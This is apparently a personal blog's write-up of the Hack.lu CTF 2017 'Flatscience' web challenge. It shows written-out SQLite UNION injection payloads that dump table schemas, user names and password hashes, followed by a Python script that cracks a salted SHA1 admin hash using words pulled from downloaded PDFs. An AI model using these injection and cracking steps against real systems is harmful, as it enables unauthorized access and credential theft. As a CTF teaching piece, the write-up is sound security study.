banner
soapffz

soapffz

github
steam
bilibili
douban

Hack.lu CTF 2017-Flatscience-writeup

  • Why write the writeup of the 2017 question: Because I did a question on a certain CTF training platform and followed Chybeta's writeup.

First, we were assigned an address and port number, let's take a look:

image

Clicking on them separately, they all seem to be the same, all redirecting to various English PDFs that I can't understand, so let's follow the process:

  • Source code: Nothing special

  • robots.txt: Found something

    image

  • Analyze the traffic: Since we found something in the previous step with robots.txt, we can skip this step (this is just to illustrate the common ctf web processing three-step process)

We can see a login.php and an admin.php

login.php:

image

admin.php:

image

Let's take a look at the source code of login.php and find a hint:

image

A to-do item: Remove the ?debug parameter

Oh~ the author commented that it should be removed, so let's see if it's removed (pretend not to know), and it turns out it's not removed:

image

And we found that this is the source code of this page:

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');

        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

We can see this source code:

  • The usr and pw parameters passed in through POST are not filtered and are used in the SQL query (the database is SQLite, so we should think of the SQLite system table as sqlite_master).

  • If the result of the query has a non-empty id field, it executes the setcookie operation, which inserts the name field of the query result into the cookie.

Now that we know what the query statement does, we need to prepare for SQL injection to query something. Let's take a look at the original packet format:
image
image

  • Construct the POST:
    usr=%27 UNION SELECT name, sql from sqlite_master--+&pw=soap

  • The result of the SQL injection is:
    SELECT id,name from Users where name='' union select name, sql from sqlite_master-- and password= 'soap'
    The id value is actually the name of the table (name), and the name value obtained is actually the statement used to create the table (sql).
    image

  • Tips: From this query result, we can see that only the value at the second field is returned.

Decode the URL, convert %2C to a line break, and get the SQL statement:

CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
)
  • From this statement, we know that the current table is the Users table, which has four columns. Combining with the fact that only the value at the second position is returned, we can construct the following injection statements:
usr=%27 UNION SELECT id, id from Users limit 0,1--+&pw=soap
usr=%27 UNION SELECT id, name from Users limit 0,1--+&pw=soap
usr=%27 UNION SELECT id, password from Users limit 0,1--+&pw=soap
usr=%27 UNION SELECT id, hint from Users limit 0,1--+&pw=soap

By offsetting (i.e., the limit 0,1;limit 1,1;limit 2,1 at the end), we can obtain the following data:

namepasswordhint
admin3fab54a50e770d830c0416df817567662a9dc85cmy fav word in my fav paper?!
fritze54eae8935c90f467427f05e4ece82cf569f89507my love is…?
hansi34b0bb7c304949f9ff2fc101eef0f048be10d3bdthe password is password
  • We found that we can crack the sha1 of 2 and 3, but not the sha1 of 1. We have the information of the table, but what about the flag?

Combining with the source code:

$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");

and the hint: my fav word in my fav paper?! which means you need to find the favorite word of the author in all the PDFs on the website.

Download all the PDFs on the website, here we use wget for recursive downloading: wget xxx.com -r -np -nd -A .pdf

  • -r: recursive processing
  • -np: do not recursively go up (url path)
  • -nd: do not create the same directory structure as the web site (url path)
  • -A type: file type
    image

Then we need to extract all the words from the PDFs and take each one to do the sha1($pass."Salz!") operation. If the value is equal to the sha1 of the admin's password, it is the author's favorite word. Most people use Python to convert PDFs to text and extract text. Here I used a small tool: PDF Shaper Pro Download from Lanzous

It has the function of converting PDF to text, but there may be some recognition errors and missing characters at line breaks:

image

But we only need to find one word, so to save time, we can do this:

image

If we can't find it, we can use a Python script: Link

After solving the text problem, we just need to use the os library to traverse all the text files in the directory, use re to match all the words, and compare them. The script is as follows:

# !/usr/bin/python
# -  *  - coding:utf-8 -  *  -
'''
@author: soapffz
@fucntion:
@time: 2018-12-17
'''

import os
import re
import hashlib


def get_words():
    txt_name_list = [i for i in os.listdir("Tmp")] # Get all txt names
    os.chdir("Tmp")  # Switch working directory
    words_list = []  # Store all non-repetitive words in all txt files
    for i in range(len(txt_name_list)):
        with open(txt_name_list[i], 'r')as f:
            words = re.findall('[A-Za-z]+', f.read())  # Use regular expressions to match words
            for i in words:  # The words generated here are a list, which cannot be directly added to words_list, otherwise it will become a two-layer list
                if i not in words_list:
                    words_list.append(i)
    return words_list


def find_passwd():
    words_list = get_words()
    for word in words_list:
        sha1_password = hashlib.sha1(
            (word + "Salz!").encode()).hexdigest()  # Convert to bytes format using encode()
        if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
            print("Find the password :" + word)
            exit()


if __name__ == "__main__":
    find_passwd()


We were lucky and found a matching value:

image

The admin password is: ThinJerboa

Access admin.php to log in and get the flag:

image

flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.